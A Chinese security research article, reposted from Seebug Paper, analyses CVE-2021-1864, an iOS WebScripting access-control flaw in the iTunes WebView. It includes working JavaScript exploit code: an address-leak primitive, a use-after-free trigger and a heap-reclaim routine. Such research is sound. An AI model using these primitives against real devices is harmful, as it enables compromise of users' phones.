作者:0xcc
原文鏈接:https://mp.weixin.qq.com/s/FgZT2OvCMS1xfm8qr439mQ

上一篇介紹了一個在 iOS 藏了十一年的客戶端 XSS。在這個特殊的 WebView 環境中,系統將 SUScriptInterface 類下的方法導出到全局上下文中的 iTunes 命名空間,從而讓 JavaScript 可以通過 WebScripting API 調用其中的方法。

這個機制和 Android 上的 addJavaScriptInterface 非常相似,而后者出過很嚴重的安全問題,即 js 可以使用反射調用到任意的 native 方法,從而遠程執行代碼。修復的方案是加上一個 @JavascriptInterace 注解來限制可訪問的方法。可以看到這里的訪問控制起到了很重要的作用。

然而 iOS 上犯了一個類似的錯誤,一直藏到了 2020 年。

與 Android 不同,WebScripting 其實從一開始就考慮了訪問控制。文檔里明確寫道,注入到 js 的對象需要實現 isSelectorExcludedFromWebScript: 方法來判斷某個 selector 是否允許調用。默認情況下 -[NSObject isSelectorExcludedFromWebScript:] 返回 YES,也就是禁止一切調用。開發者根據需要,有選擇地放行。

雖然文檔是這么寫,實際上到了代碼又是另一回事了。這個只有兩條指令的方法從 iOS 6 就一直返回 NO,允許任意方法調用:

bool +[SUScriptObject isSelectorExcludedFromWebScript:](id, SEL, SEL)
  MOV             W0, #0
  RET

讓我們來看看這只蝴蝶能掀起多大的風浪。

對象地址泄漏

在 Objective-C 里的方法就是給對象發送消息,其獨特的語法最后會被編譯器翻譯成各種 objc_msgSend 函數的調用。如果給一個對象發送了一個不存在的 selector(方法名),運行時就會拋出異常,輸出類似如下的錯誤信息:

unrecognized selector sent to instance 0x10b15a470

其中的指針一般就是 SELF 對象的堆地址。

回到 SUScriptInterface 這個類。在 js 里訪問 iTunes.window 會走到 -[SUScriptInterface window] 方法,方法的內部會調用一次 SELF.scriptWindowContext 的 tag 方法。

由于前面提到,iTunes 的業務邏輯并沒有限制 js 調用方法的范圍,因此這個私有屬性的 setter 方法 setScriptWindowContext_ 也可以被調用到。這樣以來就可以通過 js 把對應的屬性替換成一個不合法的類型,造成 Objective-C 的類型混淆。

接著用 js 訪問 iTunes.window 就會拋出一個 NSException。在這個 WebScripting 環境中,Objective-C 的異常可以被 js 的 catch 語句捕獲。這時候異常的文本內容就帶上了我們賦值上去的對象的地址,格式化成十六進制。

function addrof(obj) {
  const saved = iTunes.scriptWindowContext()
  iTunes.setScriptWindowContext_(obj)
  try {
    iTunes.window
  } catch(e) {
    console.debug(e)
    const match = /instance (0x[\da-f]+)$/i.exec(e)
    if (match) return match[1]
    throw new Error('Unable to leak heap addr')
  } finally {
    iTunes.setScriptWindowContext_(saved)
  }
}

// usage:
addrof(iTunes.makeWindow())
addrof('A'.repeat(1024 * 1024))

馬上得到了 addrof 原語。首先篡改私有對象屬性造成類型混淆,捕獲異常然后解析一下文本就可以了。

Objective-C 里還直接用指針保存內聯信息(如字符串、數字、日期等類型),這個 addrof 原語同樣適用于 tagged pointer。

泄漏 dyld_shared_cache 基地址

iOS 當中所有的系統自帶的動態鏈接庫都共享一個隨機化偏移,只要泄漏任意一個 library 的基址就可以獲取剩下全部。剛才的 addrof 除了能泄露 heap 上對象的地址,針對特定的對象還可以泄露庫的基地址。

在 Objective-C 運行時里,一些特殊的 magic value 并不會產生新的內存分配,而是用特定的符號指針表示。部分 Objective-C 的符號和 js 特殊值對應關系如下:

__kCFNumberNaN NaN
__kCFNumberPositiveInfinity Infinity
__kCFBooleanTrue true
__kCFBooleanFalse false

泄露以上任意一個 js 值的地址就可以獲得左邊符號的地址,從而得到 CoreFoundation 和其他任意 framework 的地址。當然,由于目前還沒有內存讀,這種方式需要根據版本適配偏移量。也可以結合其他 jsc 的漏洞做符號解析,實現更優雅的利用。

釋放后重用

關鍵的漏洞登場了。由于訪問控制簡單地將所有的方法導出給 js,一些與對象生命周期相關的方法也暴露了。

在對象上有一個很特殊,正常情況下不會用到的方法 dealloc。在 ARC(自動對象引用)之前有一段痛苦的時期需要開發者手工管理對象內存分配。Objective-C 使用引用計數,在釋放一個對象時需要調用其 release 方法減少一個引用。當引用計數為 0 時,就會走到 dealloc 方法真正地釋放內存。

無論是之前的手動擋 MRC 還是自動擋 ARC,都不會主動用到 dealloc 這個方法。然而現在 js 可以動態調用這個方法,直接把變量對應的對象銷毀掉,造成 Use-After-Free。

const w = iTunes.makeWindow();
w.dealloc();
w // dangling reference

以上代碼先用 makeWindow 創建了一個新的 SUScriptWindow 對象,然后直接釋放掉了。但 js 層還保留著原先的地址引用,嘗試訪問這個變量就會在 objc_opt_respondsToSelector 上造成一個無效的指針解引用。

圖片

這個漏洞的 id 是 CVE-2021-1864,但它從 iOS 6 就被引入了。

內存占位

通常對 UAF 漏洞的利用多是在對象釋放后搶占分配一個大小一致、結構不同的對象來造成類型混淆。

在這個環境里很容易想到用 iTunes.make* 系列函數可以分配不同的對象。然而事實是,由于這些對象都以 SUScriptObject 為基類,類型混淆之后不能造成嚴重的副作用。

參考之前的文獻,如 Modern Objective-C Exploitation 和 Project Zero 的 iMessage 遠程攻擊,都利用到了 objc_msgSend 的相關特性,在對象的 isa 指針上大作文章。

isa 指針是對象的第一個成員,要想能構建出自定義的值,占位的對象需要滿足長度可控和內容可控,一段連續存儲的 buffer 是可靠的候選。是不是用 js 里的 ArrayBuffer 或者字符串就行了?之前也提到 WebScripting 會自動把 js 的字符串轉換成 NSString。

然而現實很骨感,JavaScriptCore 用的堆和被釋放的對象所在的堆不是同一個。至于 JavaScriptCore 創建出來的 NSString,只是保存了一個指針,具體的字符串內容還是在 jsc 自己的堆里,所以這種方式也不能在 Objective-C 的堆上造成長度可控的分配。

最后找到了一個很巧妙的函數 -[SUScriptFacebookRequest addmultipartdata:withName:type:]。第一個參數是一個 URL 字符串,當傳入一個 data URI 時,就會調用 SUGetDataForDataURL 將其解碼成一個 NSData 對象并添加到 SUScriptFacebookRequest 實例上。Data URI 支持用 base64 編碼二進制的內容,而生成的 NSData 正好會在 Objective-C 的堆上產生一次長度、內容完全可控的分配。這就形成了一個完美的內存占位原語。

// alloc an SUScriptXMLHTTPStoreRequest
const w = iTunes.makeXMLHTTPStoreRequest();
const req = iTunes.createFacebookRequest('http://', 'GET');
// malloc_size(SUScriptXMLHTTPStoreRequest) == 192
const uri = str2DataUri(makeStr(192));
// avoid GC
window.w = w; window.req = req;
// get a dangling pointer
w.dealloc();
for (let i = 0; i < 32; i++)
  req.addMultiPartData(uri, 'A', 'B');
w // boom

用以上代碼將被釋放的對象重新用 0x41 填充,再次引用這個變量時結果如下:

圖片

接下來可以繼續構造 fakeobj 原語進行下一步利用了。面前的一大挑戰是 PAC,接下來應該如何利用?我們下一篇文章見。

從一個訪問控制的方法開始,一共就兩行指令的問題接連導致了類型混淆、信息泄漏和釋放后重用。有趣的是在官方文檔上明明白白寫了直接放行會產生安全問題,仍然引入了 bug。也許是開發之初就認為這個環境不會執行第三方腳本,因此不需要嚴格遵守安全規范。僥幸心理是行不通的。


Paper 本文由 Seebug Paper 發布,如需轉載請注明來源。本文地址:http://www.bjnorthway.com/1661/